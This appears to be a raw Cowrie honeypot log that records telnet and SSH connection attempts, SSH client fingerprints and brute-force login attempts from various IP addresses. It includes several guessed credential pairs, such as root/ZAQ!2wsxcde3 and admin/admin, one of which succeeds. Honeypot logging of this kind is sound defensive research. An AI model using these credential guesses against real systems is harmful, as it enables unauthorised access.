{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41266,"dst_ip":"10.17.0.5","dst_port":23,"session":"d75b747fec18","protocol":"telnet","message":"New connection: 152.42.224.71:41266 (10.17.0.5:23) [session: d75b747fec18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:13.499759Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":42998,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5e6bc10fa6d","protocol":"telnet","message":"New connection: 209.127.178.212:42998 (159.203.135.109:23) [session: e5e6bc10fa6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:14.902407Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41268,"dst_ip":"10.17.0.5","dst_port":23,"session":"a98c79497b60","protocol":"telnet","message":"New connection: 152.42.224.71:41268 (10.17.0.5:23) [session: a98c79497b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:15.085041Z"}
{"eventid":"cowrie.session.closed","duration":31.232840061187744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:15.326283Z","src_ip":"209.127.178.212","session":"25ed37e98279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":42788,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d14216f87ea","protocol":"telnet","message":"New connection: 209.127.178.212:42788 (159.203.135.109:23) [session: 9d14216f87ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:16.084730Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":43130,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffde8063e121","protocol":"telnet","message":"New connection: 209.127.178.212:43130 (159.203.135.109:23) [session: ffde8063e121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:18.429572Z"}
{"eventid":"cowrie.session.closed","duration":33.96999526023865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:19.051854Z","src_ip":"209.127.178.212","session":"b5467d87c87f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":36404,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c863164693c","protocol":"ssh","message":"New connection: 43.133.62.188:36404 (159.203.135.109:22) [session: 2c863164693c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:23.124655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:23.132892Z","src_ip":"43.133.62.188","session":"2c863164693c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:23.371326Z","src_ip":"43.133.62.188","session":"2c863164693c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:24.352758Z","src_ip":"43.133.62.188","session":"2c863164693c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.355767011642456,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:24.509617Z","src_ip":"152.42.224.71","session":"96deeec7315f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.024628400802612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:24.915749Z","src_ip":"209.127.178.212","session":"a9403d784d61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:25.595202Z","src_ip":"43.133.62.188","session":"2c863164693c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.061272859573364,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:26.804817Z","src_ip":"152.42.224.71","session":"9d69946f65c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92237877845764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:27.830873Z","src_ip":"209.127.178.212","session":"1aabfe2db61b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":43510,"dst_ip":"159.203.135.109","dst_port":23,"session":"a30ed75c2849","protocol":"telnet","message":"New connection: 209.127.178.212:43510 (159.203.135.109:23) [session: a30ed75c2849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:28.970250Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":43610,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4dd415abca3","protocol":"telnet","message":"New connection: 209.127.178.212:43610 (159.203.135.109:23) [session: b4dd415abca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:35.519981Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":43878,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ac3a28c6d05","protocol":"telnet","message":"New connection: 209.127.178.212:43878 (159.203.135.109:23) [session: 1ac3a28c6d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:38.691527Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":44966,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b443cb3b565","protocol":"ssh","message":"New connection: 46.19.67.181:44966 (10.17.0.5:22) [session: 4b443cb3b565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:40.510078Z"}
{"eventid":"cowrie.session.closed","duration":32.16256642341614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:47.064834Z","src_ip":"209.127.178.212","session":"e5e6bc10fa6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52272,"dst_ip":"10.17.0.5","dst_port":23,"session":"741e3073c01a","protocol":"telnet","message":"New connection: 152.42.224.71:52272 (10.17.0.5:23) [session: 741e3073c01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:48.766373Z"}
{"eventid":"cowrie.session.closed","duration":32.92669987678528,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:49.011264Z","src_ip":"209.127.178.212","session":"9d14216f87ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60038,"dst_ip":"159.203.135.109","dst_port":22,"session":"c85f42fa09f7","protocol":"ssh","message":"New connection: 51.250.105.222:60038 (159.203.135.109:22) [session: c85f42fa09f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:50.359053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:50.363544Z","src_ip":"51.250.105.222","session":"c85f42fa09f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:50.492652Z","src_ip":"51.250.105.222","session":"c85f42fa09f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z","message":"login attempt [root/z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:50.881276Z","src_ip":"51.250.105.222","session":"c85f42fa09f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:52.014369Z","src_ip":"51.250.105.222","session":"c85f42fa09f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.43830990791321,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:52.867730Z","src_ip":"209.127.178.212","session":"ffde8063e121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52284,"dst_ip":"10.17.0.5","dst_port":23,"session":"f79e91777e2c","protocol":"telnet","message":"New connection: 152.42.224.71:52284 (10.17.0.5:23) [session: f79e91777e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:52.901470Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":44476,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b8b386a9f8e","protocol":"telnet","message":"New connection: 209.127.178.212:44476 (159.203.135.109:23) [session: 3b8b386a9f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:49:56.436824Z"}
{"eventid":"cowrie.session.closed","duration":31.260850191116333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:00.230974Z","src_ip":"209.127.178.212","session":"a30ed75c2849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":44756,"dst_ip":"159.203.135.109","dst_port":23,"session":"d57b9159af1e","protocol":"telnet","message":"New connection: 209.127.178.212:44756 (159.203.135.109:23) [session: d57b9159af1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:02.599533Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57240,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a14624cdbae","protocol":"telnet","message":"New connection: 152.42.224.71:57240 (10.17.0.5:23) [session: 5a14624cdbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:04.077482Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":42532,"dst_ip":"159.203.135.109","dst_port":22,"session":"486b6f8156d2","protocol":"ssh","message":"New connection: 43.156.28.136:42532 (159.203.135.109:22) [session: 486b6f8156d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:05.067623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:05.074528Z","src_ip":"43.156.28.136","session":"486b6f8156d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":51164,"dst_ip":"159.203.135.109","dst_port":22,"session":"52991fa483d1","protocol":"ssh","message":"New connection: 102.210.148.92:51164 (159.203.135.109:22) [session: 52991fa483d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:05.323971Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:05.328249Z","src_ip":"43.156.28.136","session":"486b6f8156d2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:05.334736Z","src_ip":"102.210.148.92","session":"52991fa483d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:05.598344Z","src_ip":"102.210.148.92","session":"52991fa483d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student1","password":"student1","message":"login attempt [student1/student1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:06.315595Z","src_ip":"43.156.28.136","session":"486b6f8156d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsxcde3","message":"login attempt [root/ZAQ!2wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:06.685337Z","src_ip":"102.210.148.92","session":"52991fa483d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:07.560627Z","src_ip":"43.156.28.136","session":"486b6f8156d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.19074034690857,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:07.710511Z","src_ip":"209.127.178.212","session":"b4dd415abca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:07.952382Z","src_ip":"102.210.148.92","session":"52991fa483d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.58851170539856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:11.279958Z","src_ip":"209.127.178.212","session":"1ac3a28c6d05","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:11.724545Z","src_ip":"79.76.58.113","session":"3675669195d7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:11.794328Z","src_ip":"79.76.58.113","session":"3675669195d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.41224265098572,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:12.872819Z","src_ip":"152.42.224.71","session":"7faf9448c25e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53248,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d73b4374029","protocol":"ssh","message":"New connection: 87.251.79.125:53248 (159.203.135.109:22) [session: 6d73b4374029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:13.570139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:13.575412Z","src_ip":"87.251.79.125","session":"6d73b4374029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:13.649097Z","src_ip":"87.251.79.125","session":"6d73b4374029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5ta","message":"login attempt [root/1q2w3e4r5ta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:13.867169Z","src_ip":"87.251.79.125","session":"6d73b4374029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:14.944499Z","src_ip":"87.251.79.125","session":"6d73b4374029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49042,"dst_ip":"10.17.0.5","dst_port":23,"session":"96371ed6c322","protocol":"telnet","message":"New connection: 152.42.224.71:49042 (10.17.0.5:23) [session: 96371ed6c322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:15.380084Z"}
{"eventid":"cowrie.session.closed","duration":62.29262709617615,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:15.792305Z","src_ip":"152.42.224.71","session":"d75b747fec18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":45070,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f5a349a13e3","protocol":"ssh","message":"New connection: 103.188.177.46:45070 (159.203.135.109:22) [session: 7f5a349a13e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:18.092624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:50:18.098259Z","src_ip":"103.188.177.46","session":"7f5a349a13e3","protocol":"ssh"}
